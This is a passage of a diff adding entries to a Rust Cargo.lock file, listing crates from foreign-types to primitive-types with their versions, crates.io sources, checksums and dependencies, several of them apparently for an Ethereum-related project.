+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2"
+
+[[package]]
+name = "foreign-types"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
+dependencies = [
+ "foreign-types-shared",
+]
+
+[[package]]
+name = "foreign-types-shared"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
+
+[[package]]
+name = "form_urlencoded"
+version = "1.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
+dependencies = [
+ "percent-encoding",
+]
+
+[[package]]
+name = "funty"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c"
+
+[[package]]
+name = "futures"
+version = "0.3.30"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0"
+dependencies = [
+ "futures-channel",
+ "futures-core",
+ "futures-executor",
+ "futures-io",
+ "futures-sink",
+ "futures-task",
+ "futures-util",
+]
+
+[[package]]
+name = "futures-channel"
+version = "0.3.30"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78"
+dependencies = [
+ "futures-core",
+ "futures-sink",
+]
+
+[[package]]
+name = "futures-core"
+version = "0.3.30"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d"
+
+[[package]]
+name = "futures-executor"
+version = "0.3.30"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d"
+dependencies = [
+ "futures-core",
+ "futures-task",
+ "futures-util",
+]
+
+[[package]]
+name = "futures-io"
+version = "0.3.30"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1"
+
+[[package]]
+name = "futures-macro"
+version = "0.3.30"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "futures-sink"
+version = "0.3.30"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5"
+
+[[package]]
+name = "futures-task"
+version = "0.3.30"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004"
+
+[[package]]
+name = "futures-util"
+version = "0.3.30"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48"
+dependencies = [
+ "futures-channel",
+ "futures-core",
+ "futures-io",
+ "futures-macro",
+ "futures-sink",
+ "futures-task",
+ "memchr",
+ "pin-project-lite",
+ "pin-utils",
+ "slab",
+]
+
+[[package]]
+name = "futures-utils-wasm"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "42012b0f064e01aa58b545fe3727f90f7dd4020f4a3ea735b50344965f5a57e9"
+
+[[package]]
+name = "generic-array"
+version = "0.14.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
+dependencies = [
+ "typenum",
+ "version_check",
+ "zeroize",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.2.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "wasi 0.11.0+wasi-snapshot-preview1",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "73fea8450eea4bac3940448fb7ae50d91f034f941199fcd9d909a5a07aa455f0"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "r-efi",
+ "wasi 0.14.2+wasi-0.2.4",
+]
+
+[[package]]
+name = "gimli"
+version = "0.29.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "40ecd4077b5ae9fd2e9e169b102c6c330d0605168eb0e8bf79952b256dbefffd"
+
+[[package]]
+name = "glob"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b"
+
+[[package]]
+name = "group"
+version = "0.13.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63"
+dependencies = [
+ "ff",
+ "rand_core 0.6.4",
+ "subtle",
+]
+
+[[package]]
+name = "hashbrown"
+version = "0.12.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888"
+
+[[package]]
+name = "hashbrown"
+version = "0.14.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
+
+[[package]]
+name = "hashbrown"
+version = "0.15.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
+dependencies = [
+ "allocator-api2",
+ "equivalent",
+ "foldhash",
+ "serde",
+]
+
+[[package]]
+name = "heck"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
+
+[[package]]
+name = "hermit-abi"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024"
+
+[[package]]
+name = "hex"
+version = "0.4.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "hmac"
+version = "0.12.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e"
+dependencies = [
+ "digest 0.10.7",
+]
+
+[[package]]
+name = "http"
+version = "1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "21b9ddb458710bc376481b842f5da65cdf31522de232c1ca8146abce2a358258"
+dependencies = [
+ "bytes",
+ "fnv",
+ "itoa",
+]
+
+[[package]]
+name = "http-body"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1cac85db508abc24a2e48553ba12a996e87244a0395ce011e62b37158745d643"
+dependencies = [
+ "bytes",
+ "http",
+]
+
+[[package]]
+name = "http-body-util"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "793429d76616a256bcb62c2a2ec2bed781c8307e797e2598c50010f2bee2544f"
+dependencies = [
+ "bytes",
+ "futures-util",
+ "http",
+ "http-body",
+ "pin-project-lite",
+]
+
+[[package]]
+name = "httparse"
+version = "1.9.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0fcc0b4a115bf80b728eb8ea024ad5bd707b615bfed49e0665b6e0f86fd082d9"
+
+[[package]]
+name = "humantime"
+version = "2.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
+
+[[package]]
+name = "hyper"
+version = "1.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fe575dd17d0862a9a33781c8c4696a55c320909004a67a00fb286ba8b1bc496d"
+dependencies = [
+ "bytes",
+ "futures-channel",
+ "futures-util",
+ "http",
+ "http-body",
+ "httparse",
+ "itoa",
+ "pin-project-lite",
+ "smallvec",
+ "tokio",
+ "want",
+]
+
+[[package]]
+name = "hyper-tls"
+version = "0.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "70206fc6890eaca9fde8a0bf71caa2ddfc9fe045ac9e5c70df101a7dbde866e0"
+dependencies = [
+ "bytes",
+ "http-body-util",
+ "hyper",
+ "hyper-util",
+ "native-tls",
+ "tokio",
+ "tokio-native-tls",
+ "tower-service",
+]
+
+[[package]]
+name = "hyper-util"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7b875924a60b96e5d7b9ae7b066540b1dd1cbd90d1828f54c92e02a283351c56"
+dependencies = [
+ "bytes",
+ "futures-channel",
+ "futures-util",
+ "http",
+ "http-body",
+ "hyper",
+ "pin-project-lite",
+ "socket2",
+ "tokio",
+ "tower 0.4.13",
+ "tower-service",
+ "tracing",
+]
+
+[[package]]
+name = "iana-time-zone"
+version = "0.1.63"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b0c919e5debc312ad217002b8048a17b7d83f80703865bbfcfebb0458b0b27d8"
+dependencies = [
+ "android_system_properties",
+ "core-foundation-sys",
+ "iana-time-zone-haiku",
+ "js-sys",
+ "log",
+ "wasm-bindgen",
+ "windows-core",
+]
+
+[[package]]
+name = "iana-time-zone-haiku"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
+dependencies = [
+ "cc",
+]
+
+[[package]]
+name = "icu_collections"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "db2fa452206ebee18c4b5c2274dbf1de17008e874b4dc4f0aea9d01ca79e4526"
+dependencies = [
+ "displaydoc",
+ "yoke",
+ "zerofrom",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_locid"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "13acbb8371917fc971be86fc8057c41a64b521c184808a698c02acc242dbf637"
+dependencies = [
+ "displaydoc",
+ "litemap",
+ "tinystr",
+ "writeable",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_locid_transform"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "01d11ac35de8e40fdeda00d9e1e9d92525f3f9d887cdd7aa81d727596788b54e"
+dependencies = [
+ "displaydoc",
+ "icu_locid",
+ "icu_locid_transform_data",
+ "icu_provider",
+ "tinystr",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_locid_transform_data"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fdc8ff3388f852bede6b579ad4e978ab004f139284d7b28715f773507b946f6e"
+
+[[package]]
+name = "icu_normalizer"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "19ce3e0da2ec68599d193c93d088142efd7f9c5d6fc9b803774855747dc6a84f"
+dependencies = [
+ "displaydoc",
+ "icu_collections",
+ "icu_normalizer_data",
+ "icu_properties",
+ "icu_provider",
+ "smallvec",
+ "utf16_iter",
+ "utf8_iter",
+ "write16",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_normalizer_data"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f8cafbf7aa791e9b22bec55a167906f9e1215fd475cd22adfcf660e03e989516"
+
+[[package]]
+name = "icu_properties"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1f8ac670d7422d7f76b32e17a5db556510825b29ec9154f235977c9caba61036"
+dependencies = [
+ "displaydoc",
+ "icu_collections",
+ "icu_locid_transform",
+ "icu_properties_data",
+ "icu_provider",
+ "tinystr",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_properties_data"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "67a8effbc3dd3e4ba1afa8ad918d5684b8868b3b26500753effea8d2eed19569"
+
+[[package]]
+name = "icu_provider"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6ed421c8a8ef78d3e2dbc98a973be2f3770cb42b606e3ab18d6237c4dfde68d9"
+dependencies = [
+ "displaydoc",
+ "icu_locid",
+ "icu_provider_macros",
+ "stable_deref_trait",
+ "tinystr",
+ "writeable",
+ "yoke",
+ "zerofrom",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_provider_macros"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1ec89e9337638ecdc08744df490b221a7399bf8d164eb52a665454e60e075ad6"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "ident_case"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39"
+
+[[package]]
+name = "idna"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4716a3a0933a1d01c2f72450e89596eb51dd34ef3c211ccd875acdf1f8fe47ed"
+dependencies = [
+ "icu_normalizer",
+ "icu_properties",
+ "smallvec",
+ "utf8_iter",
+]
+
+[[package]]
+name = "impl-codec"
+version = "0.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ba6a270039626615617f3f36d15fc827041df3b78c439da2cadfa47455a77f2f"
+dependencies = [
+ "parity-scale-codec",
+]
+
+[[package]]
+name = "impl-trait-for-tuples"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "11d7a9f6330b71fea57921c9b61c47ee6e84f72d394754eff6163ae67e7395eb"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 1.0.109",
+]
+
+[[package]]
+name = "indenter"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ce23b50ad8242c51a442f3ff322d56b02f08852c77e4c0b4d3fd684abc89c683"
+
+[[package]]
+name = "indexmap"
+version = "1.9.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99"
+dependencies = [
+ "autocfg",
+ "hashbrown 0.12.3",
+ "serde",
+]
+
+[[package]]
+name = "indexmap"
+version = "2.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cea70ddb795996207ad57735b50c5982d8844f38ba9ee5f1aedcfb708a2aa11e"
+dependencies = [
+ "equivalent",
+ "hashbrown 0.15.2",
+ "serde",
+]
+
+[[package]]
+name = "interprocess"
+version = "2.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "67bafc2f5dbdad79a6d925649758d5472647b416028099f0b829d1b67fdd47d3"
+dependencies = [
+ "doctest-file",
+ "futures-core",
+ "libc",
+ "recvmsg",
+ "tokio",
+ "widestring",
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "ipnet"
+version = "2.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3"
+
+[[package]]
+name = "is_terminal_polyfill"
+version = "1.70.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
+
+[[package]]
+name = "itertools"
+version = "0.10.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473"
+dependencies = [
+ "either",
+]
+
+[[package]]
+name = "itertools"
+version = "0.13.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186"
+dependencies = [
+ "either",
+]
+
+[[package]]
+name = "itoa"
+version = "1.0.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b"
+
+[[package]]
+name = "js-sys"
+version = "0.3.69"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "29c15563dc2726973df627357ce0c9ddddbea194836909d655df6a75d2cf296d"
+dependencies = [
+ "wasm-bindgen",
+]
+
+[[package]]
+name = "k256"
+version = "0.13.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "956ff9b67e26e1a6a866cb758f12c6f8746208489e3e4a4b5580802f2f0a587b"
+dependencies = [
+ "cfg-if",
+ "ecdsa",
+ "elliptic-curve",
+ "once_cell",
+ "serdect",
+ "sha2",
+]
+
+[[package]]
+name = "keccak"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ecc2af9a1119c51f12a14607e783cb977bde58bc069ff0c3da1095e635d70654"
+dependencies = [
+ "cpufeatures",
+]
+
+[[package]]
+name = "keccak-asm"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "47a3633291834c4fbebf8673acbc1b04ec9d151418ff9b8e26dcd79129928758"
+dependencies = [
+ "digest 0.10.7",
+ "sha3-asm",
+]
+
+[[package]]
+name = "lazy_static"
+version = "1.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
+
+[[package]]
+name = "libc"
+version = "0.2.155"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "97b3888a4aecf77e811145cadf6eef5901f4782c53886191b2f693f24761847c"
+
+[[package]]
+name = "libm"
+version = "0.2.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4ec2a862134d2a7d32d7983ddcdd1c4923530833c9f2ea1a44fc5fa473989058"
+
+[[package]]
+name = "linux-raw-sys"
+version = "0.4.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "78b3ae25bc7c8c38cec158d1f2757ee79e9b3740fbc7ccf0e59e4b08d793fa89"
+
+[[package]]
+name = "litemap"
+version = "0.7.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "643cb0b8d4fcc284004d5fd0d67ccf61dfffadb7f75e1e71bc420f4688a3a704"
+
+[[package]]
+name = "lock_api"
+version = "0.4.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17"
+dependencies = [
+ "autocfg",
+ "scopeguard",
+]
+
+[[package]]
+name = "log"
+version = "0.4.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "90ed8c1e510134f979dbc4f070f87d4313098b704861a105fe34231c70a3901c"
+
+[[package]]
+name = "lru"
+version = "0.13.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "227748d55f2f0ab4735d87fd623798cb6b664512fe979705f829c9f81c934465"
+dependencies = [
+ "hashbrown 0.15.2",
+]
+
+[[package]]
+name = "macro-string"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1b27834086c65ec3f9387b096d66e99f221cf081c2b738042aa252bcd41204e3"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "memchr"
+version = "2.7.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6c8640c5d730cb13ebd907d8d04b52f55ac9a2eec55b440c8892f40d56c76c1d"
+
+[[package]]
+name = "mime"
+version = "0.3.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
+
+[[package]]
+name = "miniz_oxide"
+version = "0.7.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "87dfd01fe195c66b572b37921ad8803d010623c0aca821bea2302239d155cdae"
+dependencies = [
+ "adler",
+]
+
+[[package]]
+name = "mio"
+version = "0.8.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a4a650543ca06a924e8b371db273b2756685faae30f8487da1b56505a8f78b0c"
+dependencies = [
+ "libc",
+ "wasi 0.11.0+wasi-snapshot-preview1",
+ "windows-sys 0.48.0",
+]
+
+[[package]]
+name = "native-tls"
+version = "0.2.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a8614eb2c83d59d1c8cc974dd3f920198647674a0a035e1af1fa58707e317466"
+dependencies = [
+ "libc",
+ "log",
+ "openssl",
+ "openssl-probe",
+ "openssl-sys",
+ "schannel",
+ "security-framework",
+ "security-framework-sys",
+ "tempfile",
+]
+
+[[package]]
+name = "num-bigint"
+version = "0.4.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c165a9ab64cf766f73521c0dd2cfdff64f488b8f0b3e621face3462d3db536d7"
+dependencies = [
+ "num-integer",
+ "num-traits",
+]
+
+[[package]]
+name = "num-conv"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9"
+
+[[package]]
+name = "num-integer"
+version = "0.1.46"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f"
+dependencies = [
+ "num-traits",
+]
+
+[[package]]
+name = "num-traits"
+version = "0.2.19"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
+dependencies = [
+ "autocfg",
+ "libm",
+]
+
+[[package]]
+name = "num_cpus"
+version = "1.16.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43"
+dependencies = [
+ "hermit-abi",
+ "libc",
+]
+
+[[package]]
+name = "num_enum"
+version = "0.7.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "02339744ee7253741199f897151b38e72257d13802d4ee837285cc2990a90845"
+dependencies = [
+ "num_enum_derive",
+]
+
+[[package]]
+name = "num_enum_derive"
+version = "0.7.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "681030a937600a36906c185595136d26abfebb4aa9c65701cefcaf8578bb982b"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "nybbles"
+version = "0.3.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8983bb634df7248924ee0c4c3a749609b5abcb082c28fffe3254b3eb3602b307"
+dependencies = [
+ "alloy-rlp",
+ "const-hex",
+ "proptest",
+ "serde",
+ "smallvec",
+]
+
+[[package]]
+name = "object"
+version = "0.36.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "576dfe1fc8f9df304abb159d767a29d0476f7750fbf8aa7ad07816004a207434"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "once_cell"
+version = "1.21.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
+
+[[package]]
+name = "openssl"
+version = "0.10.72"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fedfea7d58a1f73118430a55da6a286e7b044961736ce96a16a17068ea25e5da"
+dependencies = [
+ "bitflags",
+ "cfg-if",
+ "foreign-types",
+ "libc",
+ "once_cell",
+ "openssl-macros",
+ "openssl-sys",
+]
+
+[[package]]
+name = "openssl-macros"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "openssl-probe"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
+
+[[package]]
+name = "openssl-sys"
+version = "0.9.107"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8288979acd84749c744a9014b4382d42b8f7b2592847b5afb2ed29e5d16ede07"
+dependencies = [
+ "cc",
+ "libc",
+ "pkg-config",
+ "vcpkg",
+]
+
+[[package]]
+name = "parity-scale-codec"
+version = "3.6.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "306800abfa29c7f16596b5970a588435e3d5b3149683d00c12b699cc19f895ee"
+dependencies = [
+ "arrayvec",
+ "bitvec",
+ "byte-slice-cast",
+ "impl-trait-for-tuples",
+ "parity-scale-codec-derive",
+ "serde",
+]
+
+[[package]]
+name = "parity-scale-codec-derive"
+version = "3.6.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d830939c76d294956402033aee57a6da7b438f2294eb94864c37b0569053a42c"
+dependencies = [
+ "proc-macro-crate",
+ "proc-macro2",
+ "quote",
+ "syn 1.0.109",
+]
+
+[[package]]
+name = "parking_lot"
+version = "0.12.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27"
+dependencies = [
+ "lock_api",
+ "parking_lot_core",
+]
+
+[[package]]
+name = "parking_lot_core"
+version = "0.9.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "redox_syscall",
+ "smallvec",
+ "windows-targets 0.52.5",
+]
+
+[[package]]
+name = "paste"
+version = "1.0.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a"
+
+[[package]]
+name = "percent-encoding"
+version = "2.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
+
+[[package]]
+name = "pest"
+version = "2.7.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "560131c633294438da9f7c4b08189194b20946c8274c6b9e38881a7874dc8ee8"
+dependencies = [
+ "memchr",
+ "thiserror 1.0.61",
+ "ucd-trie",
+]
+
+[[package]]
+name = "pharos"
+version = "0.5.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e9567389417feee6ce15dd6527a8a1ecac205ef62c2932bcf3d9f6fc5b78b414"
+dependencies = [
+ "futures",
+ "rustc_version 0.4.0",
+]
+
+[[package]]
+name = "pin-project"
+version = "1.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b6bf43b791c5b9e34c3d182969b4abb522f9343702850a2e57f460d00d09b4b3"
+dependencies = [
+ "pin-project-internal",
+]
+
+[[package]]
+name = "pin-project-internal"
+version = "1.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2f38a4412a78282e09a2cf38d195ea5420d15ba0602cb375210efbc877243965"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "pin-project-lite"
+version = "0.2.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
+
+[[package]]
+name = "pin-utils"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
+
+[[package]]
+name = "pkcs8"
+version = "0.10.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7"
+dependencies = [
+ "der",
+ "spki",
+]
+
+[[package]]
+name = "pkg-config"
+version = "0.3.30"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d231b230927b5e4ad203db57bbcbee2802f6bce620b1e4a9024a07d94e2907ec"
+
+[[package]]
+name = "powerfmt"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"
+
+[[package]]
+name = "ppv-lite86"
+version = "0.2.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
+
+[[package]]
+name = "primitive-types"
+version = "0.12.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b34d9fd68ae0b74a41b21c03c2f62847aa0ffea044eee893b4c140b37e244e2"
+dependencies = [
+ "fixed-hash",
+ "impl-codec",
+ "uint",
+]
+
+[[package]]
